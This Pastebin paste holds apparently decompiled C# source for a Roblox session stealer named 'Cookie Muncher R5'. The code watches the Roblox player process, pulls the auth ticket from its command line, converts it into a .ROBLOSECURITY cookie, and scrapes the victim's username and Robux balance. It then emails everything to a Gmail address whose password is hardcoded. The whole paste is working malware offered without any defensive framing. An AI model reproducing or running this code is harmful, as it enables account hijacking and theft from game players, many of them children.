Advertisement
Guest User

Untitled

a guest
Dec 20th, 2016
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.28 KB | None | 0 0
  1. using Microsoft.VisualBasic;
  2. using Microsoft.VisualBasic.CompilerServices;
  3. using System;
  4. using System.Collections;
  5. using System.Collections.Generic;
  6. using System.IO;
  7. using System.Management;
  8. using System.Net;
  9. using System.Text;
  10.  
  11. namespace FrontPageBot
  12. {
  13. public class cookiework
  14. {
  15. public string username;
  16.  
  17. private string tickk;
  18.  
  19. public bool done;
  20.  
  21. private emailapi emaill;
  22.  
  23. public cookiework()
  24. {
  25. this.emaill = new emailapi();
  26. }
  27.  
  28. public object getinfo(string cookie)
  29. {
  30. new UTF8Encoding();
  31. HttpWebRequest expr_15 = (HttpWebRequest)WebRequest.Create("http://www.roblox.com/home");
  32. expr_15.Method = "GET";
  33. expr_15.KeepAlive = true;
  34. expr_15.AllowAutoRedirect = true;
  35. expr_15.Headers.Add("RBXAuthenticationNegotiation", ": http://www.roblox.com");
  36. expr_15.UserAgent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36";
  37. expr_15.ContentType = "application/x-www-form-urlencoded";
  38. expr_15.Headers.Add("Cookie", ".ROBLOSECURITY=" + cookie);
  39. HttpWebResponse httpWebResponse = (HttpWebResponse)expr_15.GetResponse();
  40. string text = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();
  41. List<string> list = new List<string>();
  42. object result;
  43. if (Operators.CompareString(text, null, false) != 0 && text.Contains("Hello, "))
  44. {
  45. list.Add("Username:" + this.textbetween(text, ">Hello, ", "!</a>"));
  46. list.Add("Robux:" + this.textbetween(text, "rbx-menu-item\">", " ROBUX</a></li>"));
  47. list.Add("Cookie:" + cookie);
  48. StringBuilder stringBuilder = new StringBuilder();
  49. try
  50. {
  51. List<string>.Enumerator enumerator = list.GetEnumerator();
  52. while (enumerator.MoveNext())
  53. {
  54. string current = enumerator.Current;
  55. if (!current.Contains("Cookie"))
  56. {
  57. stringBuilder.Append(current + " ");
  58. }
  59. else
  60. {
  61. stringBuilder.Append(current);
  62. }
  63. }
  64. }
  65. finally
  66. {
  67. List<string>.Enumerator enumerator;
  68. ((IDisposable)enumerator).Dispose();
  69. }
  70. result = stringBuilder.ToString();
  71. }
  72. else
  73. {
  74. result = null;
  75. }
  76. return result;
  77. }
  78.  
  79. public object getusername(string cookie)
  80. {
  81. new UTF8Encoding();
  82. HttpWebRequest expr_15 = (HttpWebRequest)WebRequest.Create("http://www.roblox.com/home");
  83. expr_15.Method = "GET";
  84. expr_15.KeepAlive = true;
  85. expr_15.AllowAutoRedirect = true;
  86. expr_15.Headers.Add("RBXAuthenticationNegotiation", ": http://www.roblox.com");
  87. expr_15.UserAgent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36";
  88. expr_15.ContentType = "application/x-www-form-urlencoded";
  89. expr_15.Headers.Add("Cookie", ".ROBLOSECURITY=" + cookie);
  90. HttpWebResponse httpWebResponse = (HttpWebResponse)expr_15.GetResponse();
  91. string text = new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();
  92. new List<string>();
  93. object result;
  94. if (Operators.CompareString(text, null, false) != 0 && text.Contains("Hello, "))
  95. {
  96. result = this.textbetween(text, ">Hello, ", "!</a>");
  97. }
  98. else
  99. {
  100. result = null;
  101. }
  102. return result;
  103. }
  104.  
  105. public object tickettocookie(string ticket)
  106. {
  107. object result;
  108. try
  109. {
  110. CookieContainer cookieContainer = new CookieContainer();
  111. new UTF8Encoding();
  112. HttpWebRequest expr_21 = (HttpWebRequest)WebRequest.Create("https://www.roblox.com/Login/Negotiate.ashx?suggest=" + ticket);
  113. expr_21.Method = "GET";
  114. expr_21.KeepAlive = true;
  115. expr_21.CookieContainer = cookieContainer;
  116. expr_21.Headers.Add("RBXAuthenticationNegotiation", ": http://www.roblox.com");
  117. expr_21.UserAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) RobloxStudio/0. 255. 0. 82159 Safari/534.34";
  118. expr_21.ContentType = "application/x-www-form-urlencoded";
  119. HttpWebResponse httpWebResponse = (HttpWebResponse)expr_21.GetResponse();
  120. cookieContainer.Add(httpWebResponse.Cookies);
  121. new StreamReader(httpWebResponse.GetResponseStream()).ReadToEnd();
  122. try
  123. {
  124. IEnumerator enumerator = httpWebResponse.Cookies.GetEnumerator();
  125. while (enumerator.MoveNext())
  126. {
  127. Cookie cookie = (Cookie)enumerator.Current;
  128. if (cookie.Value.Contains("WARN"))
  129. {
  130. result = cookie.Value;
  131. return result;
  132. }
  133. }
  134. }
  135. finally
  136. {
  137. IEnumerator enumerator;
  138. if (enumerator is IDisposable)
  139. {
  140. (enumerator as IDisposable).Dispose();
  141. }
  142. }
  143. }
  144. catch (Exception expr_F5)
  145. {
  146. ProjectData.SetProjectError(expr_F5);
  147. ProjectData.ClearProjectError();
  148. }
  149. result = null;
  150. return result;
  151. }
  152.  
  153. public string textbetween(string full, string firsts, string seconds)
  154. {
  155. string result;
  156. try
  157. {
  158. int num = full.IndexOf(firsts);
  159. int num2 = full.IndexOf(seconds);
  160. if (num > -1 && num2 > -1)
  161. {
  162. result = checked(Strings.Mid(full, num + firsts.Length + 1, num2 - num - firsts.Length));
  163. }
  164. else
  165. {
  166. result = Conversions.ToString(false);
  167. }
  168. }
  169. catch (Exception expr_55)
  170. {
  171. ProjectData.SetProjectError(expr_55);
  172. result = Conversions.ToString(false);
  173. ProjectData.ClearProjectError();
  174. }
  175. return result;
  176. }
  177.  
  178. public void exec()
  179. {
  180. while (true)
  181. {
  182. try
  183. {
  184. ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_Process WHERE Name='RobloxPlayerBeta.exe'");
  185. if (managementObjectSearcher.Get().Count != 0)
  186. {
  187. try
  188. {
  189. ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator();
  190. while (enumerator.MoveNext())
  191. {
  192. ManagementObject managementObject = (ManagementObject)enumerator.Current;
  193. if (Conversions.ToBoolean(Operators.NotObject(Operators.CompareObjectEqual(managementObject["CommandLine"], null, false))) && Conversions.ToBoolean(Operators.NotObject(Operators.CompareObjectEqual(managementObject["CommandLine"], this.tickk, false))))
  194. {
  195. this.tickk = Conversions.ToString(managementObject["CommandLine"]);
  196. string theemaill = "robloxlogs@gmail.com";
  197. string thepassword = "robloxcmr5";
  198. this.emaill.sendemail(theemaill, thepassword, "robloxlogs@gmail.com", "Cookie Muncher R5 has received \r\n" + this.getinfo(Conversions.ToString(this.tickettocookie(this.textbetween(Conversions.ToString(managementObject["CommandLine"]), ".ashx -t ", " -j https://")))).ToString().Replace(" ", "\r\n"));
  199. this.username = Conversions.ToString(this.getusername(Conversions.ToString(this.tickettocookie(this.textbetween(Conversions.ToString(managementObject["CommandLine"]), ".ashx -t ", " -j https://")))));
  200. this.done = true;
  201. }
  202. }
  203. break;
  204. }
  205. finally
  206. {
  207. ManagementObjectCollection.ManagementObjectEnumerator enumerator;
  208. if (enumerator != null)
  209. {
  210. ((IDisposable)enumerator).Dispose();
  211. }
  212. }
  213. continue;
  214. break;
  215. }
  216. continue;
  217. }
  218. catch (Exception expr_16F)
  219. {
  220. ProjectData.SetProjectError(expr_16F);
  221. ProjectData.ClearProjectError();
  222. }
  223. break;
  224. }
  225. }
  226. }
  227. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement